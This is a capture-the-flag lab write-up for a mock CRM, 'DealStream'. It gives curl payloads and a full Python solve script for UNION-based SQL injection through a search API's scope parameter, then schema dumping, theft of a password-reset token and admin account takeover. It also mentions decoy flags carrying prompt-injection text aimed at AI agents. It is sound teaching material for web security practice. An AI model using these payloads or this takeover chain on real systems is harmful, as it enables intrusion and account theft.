Lab 83 — DealStream — UNION SQL Injection in Public Search API
Lab 83 — DealStream — UNION SQL Injection in Public Search API
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: account_takeover, api_parameter_injection, password_reset_token_extraction, sqlite_schema_enumeration, union_based_sqli
Summary
Walkthrough of the CUSTOM Web Lab 83 — DealStream — UNION SQL Injection in Public Search API. Task: CRM platform with public search API where the scope parameter is directly interpolated into a SQLite WHERE clause. Flag is XOR-encrypted in admin_settings, decrypted only in admin panel. Solutio
Description
DealStream is a customer relationship management platform built by StreamLine Solutions. Sales teams use it to manage contacts, track deals through pipeline stages, and collaborate on accounts. The platform features a public-facing knowledge base with searchable help articles, alongside authenticated dashboards for managing the full sales pipeline. The search functionality is powered by a JSON API that supports filtering by article category. Your goal is to find the flag, which is stored securely in the admin panel. Only administrators can view it.
Credentials: user@test.com / password123
English summary: A Flask/SQLite CRM application with a public search API. The scope parameter in /api/search is vulnerable to UNION-based SQL injection. The flag is XOR-encrypted in the admin_settings table and only decrypted at runtime in the admin panel. The attack chain requires SQLi to enumerate the database, trigger a password reset for the admin account, extract the reset token via SQLi, take over the admin account, and access the admin settings page to view the decrypted flag.
Analysis
Reconnaissance
The application runs Flask/Python behind nginx/1.25.5 with a SQLite backend. Key endpoints discovered:
/— Public landing page with knowledge base search/login,/register— Authentication/forgot-password,/reset-password— Password reset flow/dashboard— Authenticated user dashboard (deals, contacts, pipeline)/admin/settings— Admin-only settings page (flag location)/api/search— Public JSON API for searching help articles/static/js/app.js— Client-side JavaScript revealing API parameters
The JavaScript at /static/js/app.js reveals the search API structure:
javascript read-only • copy allowed// API call: /api/search?q=<query>&scope=<category>&limit=10&start=0
Decoy Flags
Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs. These are honeypots for automated scanners and AI agents, accompanied by prompt injection text attempting to trick AI into submitting the fake flag. The real flag is only accessible through the admin panel.
Confirming SQL Injection
Injecting a single quote in the scope parameter triggers a SQLite error:
bash read-only • copy allowedcurl -s "https://TARGET.labs.hackadvisor.io/api/search?q=a&scope=all'&limit=10&start=0"
Response:
json read-only • copy allowed{ "details": "unrecognized token: \"') LIMIT 10 OFFSET 0\"", "error": "Search query failed" }
This reveals:
- SQLite backend (SQLite-specific error format)
- Direct string interpolation (no parameterized queries)
- Query structure — the
scopevalue is inside parentheses, followed byLIMITandOFFSET
The approximate query structure:
sql read-only • copy allowedSELECT id, title, snippet, category, created_at FROM help_articles WHERE (title LIKE '%q%' OR snippet LIKE '%q%') AND (category = 'scope') LIMIT limit OFFSET start
Column Count Determination
Testing UNION with increasing column counts:
bash read-only • copy allowed# 5 columns works: curl -s "https://TARGET/api/search?q=a&scope=all') UNION SELECT 1,2,3,4,5 --&limit=10&start=0"
Column mapping from the JSON response: id=1, title=2, snippet=3, category=4, created_at=5.
Solution
Step 1: Schema Enumeration via UNION SQLi
Extract all table definitions from sqlite_master:
bash read-only • copy allowedcurl -s "https://TARGET/api/search?q=a&scope=all') UNION SELECT 1,name,sql,type,5 FROM sqlite_master --&limit=50&start=0"
Tables discovered:
help_articles— knowledge base articles (the table being queried)users— id, email, password_hash, role, reset_token, reset_token_expiry, full_name, created_atadmin_settings— id, key, value, description, encryptedcontacts— CRM contactsdeals— sales pipeline dealsactivity_log— user activity tracking
Step 2: Extract Data from admin_settings
bash read-only • copy allowedcurl -s "https://TARGET/api/search?q=a&scope=all') UNION SELECT id,key,value,description,encrypted FROM admin_settings --&limit=50&start=0"
Key findings:
| key | value | encrypted |
|---|---|---|
company_name | StreamLine Solutions | 0 |
license_key | STRM-ENT-2025-7K9X-BQPL | 0 |
system_flag | AikgKyhNRwNXWndWXVZbUnhVQQQEAA1Dd1IFDmJESlZZVCZfWhs= | 1 |
The system_flag is XOR-encrypted (base64-encoded ciphertext) and only decrypted at runtime in the admin panel. Direct decryption would require knowing the XOR key — instead, we need admin access.
Step 3: Extract User Data
bash read-only • copy allowedcurl -s "https://TARGET/api/search?q=a&scope=all') UNION SELECT id,email,password_hash,role,full_name FROM users --&limit=50&start=0"
| role | notes | |
|---|---|---|
| admin@dealstream.io | admin | scrypt password hash (infeasible to crack) |
| user@test.com | user | provided credentials |
The users table also has reset_token and reset_token_expiry columns — both NULL initially.
Step 4: Password Reset Token Theft
Since the admin password hash uses scrypt (computationally expensive to crack), the attack pivots to the password reset flow:
Trigger a password reset for the admin account:
bash read-only • copy allowedcurl -s -X POST "https://TARGET/forgot-password" \ -d "email=admin@dealstream.io"
Extract the generated reset token via SQLi:
bash read-only • copy allowedcurl -s "https://TARGET/api/search?q=a&scope=all') UNION SELECT id,email,reset_token,reset_token_expiry,role FROM users WHERE role='admin' --&limit=10&start=0"
Result:
json read-only • copy allowed{ "title": "admin@dealstream.io", "snippet": "z-FtTzGyfEVuo_uGSI9WW0yqwSn4Hni7rKWD8BY_zlo", "category": "2026-05-14T08:21:35.260534", "id": 1 }
Token: z-FtTzGyfEVuo_uGSI9WW0yqwSn4Hni7rKWD8BY_zlo
Step 5: Reset Admin Password
Verify the token is valid:
bash read-only • copy allowedcurl -s "https://TARGET/reset-password?token=z-FtTzGyfEVuo_uGSI9WW0yqwSn4Hni7rKWD8BY_zlo" | grep -o "Reset Your Password" # Returns: Reset Your Password (valid form)
Set a new password:
bash read-only • copy allowedcurl -s -X POST "https://TARGET/reset-password" \ -d "token=z-FtTzGyfEVuo_uGSI9WW0yqwSn4Hni7rKWD8BY_zlo&password=admin123456&confirm_password=admin123456" \ -L
Step 6: Access Admin Panel
Log in as admin:
bash read-only • copy allowedcurl -s -X POST "https://TARGET/login" \ -d "email=admin@dealstream.io&password=admin123456" \ -c cookies.txt -L # Access admin settings: curl -s -b cookies.txt "https://TARGET/admin/settings"
The /admin/settings page displays all settings including the decrypted system_flag:
system_flag: FLAG{REDACTED}
(Decrypted at runtime)
Full Solve Script
python read-only • copy allowed#!/usr/bin/env python3 """ DealStream — UNION SQLi → Password Reset Token Theft → Admin Takeover Lab 83 solve script """ import requests import re import urllib.parse TARGET = "https://TARGET.labs.hackadvisor.io" SEARCH_URL = f"{TARGET}/api/search" CREDS = {"email": "user@test.com", "password": "password123"} ADMIN_EMAIL = "admin@dealstream.io" session = requests.Session() def sqli(payload): """Execute UNION SQLi via scope parameter.""" params = { "q": "a", "scope": f"all') {payload} --", "limit": "50", "start": "0" } r = session.get(SEARCH_URL, params=params) return r.json() # Step 1: Enumerate schema print("[*] Enumerating database schema...") data = sqli("UNION SELECT 1,name,sql,type,5 FROM sqlite_master") for row in data.get("results", []): print(f" {row['category']}: {row['title']} -> {row['snippet'][:80]}") # Step 2: Check admin_settings for flag print("\n[*] Extracting admin_settings...") data = sqli("UNION SELECT id,key,value,description,encrypted FROM admin_settings") for row in data.get("results", []): print(f" {row['title']}: {row['snippet']} (encrypted={row['category']})") # Step 3: Extract users print("\n[*] Extracting users...") data = sqli("UNION SELECT id,email,role,reset_token,reset_token_expiry FROM users") for row in data.get("results", []): print(f" {row['title']} (role={row['snippet']}, token={row['category']})") # Step 4: Trigger password reset for admin print(f"\n[*] Triggering password reset for {ADMIN_EMAIL}...") r = session.post(f"{TARGET}/forgot-password", data={"email": ADMIN_EMAIL}) print(f" Status: {r.status_code}") # Step 5: Extract reset token via SQLi print("[*] Extracting reset token...") data = sqli(f"UNION SELECT id,email,reset_token,reset_token_expiry,role FROM users WHERE email='{ADMIN_EMAIL}'") token = None for row in data.get("results", []): if row.get("title") == ADMIN_EMAIL: token = row["snippet"] print(f" Token: {token}") print(f" Expiry: {row['category']}") break if not token: print("[-] Failed to extract reset token!") exit(1) # Step 6: Reset admin password new_password = "admin123456" print(f"\n[*] Resetting admin password to '{new_password}'...") r = session.post(f"{TARGET}/reset-password", data={ "token": token, "password": new_password, "confirm_password": new_password }, allow_redirects=False) print(f" Status: {r.status_code} -> {r.headers.get('Location', 'N/A')}") # Step 7: Login as admin and get flag print("\n[*] Logging in as admin...") r = session.post(f"{TARGET}/login", data={ "email": ADMIN_EMAIL, "password": new_password }, allow_redirects=False) print(f" Status: {r.status_code}") print("[*] Accessing admin settings...") r = session.get(f"{TARGET}/admin/settings") # Extract flag from page flags = re.findall(r'FLAG\{[a-f0-9]+\}', r.text) # Filter out decoy real_flags = [f for f in flags if 'd3c0y' not in f] if real_flags: print(f"\n*** FLAG: {real_flags[0]} ***") else: print("[-] Flag not found in admin settings page") print(f" Response length: {len(r.text)}")
Dead Ends
- Cracking scrypt password hash — computationally infeasible; password reset token theft is the correct path
- Decrypting XOR-encrypted flag directly — while the XOR key could theoretically be derived from known plaintext (
FLAG{prefix), accessing the admin panel is simpler and more reliable - Decoy flags —
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}appears everywhere in HTML with prompt injection text designed to mislead AI agents - Session cookie tampering — Flask sessions are signed; changing
roletoadminwithout the secret key fails
Key Takeaways / Lessons
- Mastering account_takeover, api_parameter_injection, password_reset_token_extraction, sqlite_schema_enumeration, union_based_sqli was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-14 • CUSTOM • Lab 83 — DealStream — UNION SQL Injection in Public Search API • Difficulty: Medium